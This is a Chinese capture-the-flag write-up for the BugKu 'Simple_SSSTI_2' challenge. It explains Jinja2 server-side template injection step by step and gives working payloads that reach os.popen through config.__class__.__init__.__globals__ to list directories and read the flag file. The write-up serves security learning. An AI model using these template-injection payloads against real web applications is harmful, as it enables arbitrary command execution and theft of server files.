BugKu: Simple_SSSTI_2

1.打开题目

由提示可知需要传入一个名为flag的参数

2.查看网页源代码

并没有得到有用的信息

3.查看config对象

复制代码
http://114.67.175.224:10934/?flag={{config}}

信息太乱了,需要找到我们需要的信息

4.SSTI模版注入

复制代码
http://114.67.175.224:10934/?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}

代码解读:

复制代码
{{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}

class:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。

init :初始化类,返回的类型是function。

globals[]:使用方式是函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。

os.popen()方法:用于从一个命令打开一个管道。

open() 方法:用于打开一个文件,并返回文件对象。

小结:用_class_来查看config(系统)的类,用_init_来将这个类改为function,用_globals_[]来获取function里面的所有东西,os.popen()来打开一个管道,将function里面的东西通过管道读取出来。

专业来说:使用了模板引擎的功能来访问Python的config对象,通过链式属性访问(__class__, __init__, __globals__)来获取对Python标准库的os模块的访问权。一旦获得对os模块的访问,攻击者就可以通过popen方法执行任意的系统命令。

拓展:

复制代码
{{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}}

%20:空格字符的URL编码。

%27:单引号(')的URL编码。

URL编码,也称为百分号编码,使用百分号%后跟两位十六进制数来表示字符。对于空格字符,其ASCII码值为32(十六进制为20),因此被编码为%20。因为只有使用URL编码才能安全地嵌入到URL中。这种编码方式允许URL传输那些在一般情况下可能被视为控制字符或具有特殊意义的字符。

5.分析文件

查看app文件,用ls查看app文件里面的内容

复制代码
{{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}

使用cat查看flag文件内容,cat ../app/flag

复制代码
{{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}

成功拿到flag!

相关推荐
Alex艾力的IT数字空间3 小时前
在 Kylin(麒麟)操作系统上搭建 Docker 环境
大数据·运维·缓存·docker·容器·负载均衡·kylin
嵌入式学习和实践3 小时前
虚拟机 Ubuntu 磁盘扩容完全指南:从原理到实践,一步到位
linux·ubuntu·磁盘扩容
陳10304 小时前
Linux:进程间切换与调度
linux·运维·服务器
lcreek4 小时前
Linux 虚拟文件系统的建立与使用全过程解析
linux·虚拟文件系统·vfs
寒秋花开曾相惜4 小时前
(学习笔记)第四章 处理器体系结构
linux·网络·数据结构·笔记·学习
疏星浅月5 小时前
虚拟内存三大核心作用详解
linux·c语言·arm开发·嵌入式硬件
邂逅星河浪漫6 小时前
【银行内网开发-管理端】Vue管理端+Auth后台开发+Nginx配置+Linux部署(详细解析)
linux·javascript·css·vue.js·nginx·html·前后端联调
JJay.6 小时前
Android BLE 稳定连接的关键,不是扫描,而是 GATT 操作队列
android·服务器·前端
SilentSamsara6 小时前
TCP 三次握手:连接建立失败的那些坑
运维·服务器·网络·网络协议·tcp/ip
码农小钻风6 小时前
利用Samba实现局域网跨平台共享文件
linux·samba·共享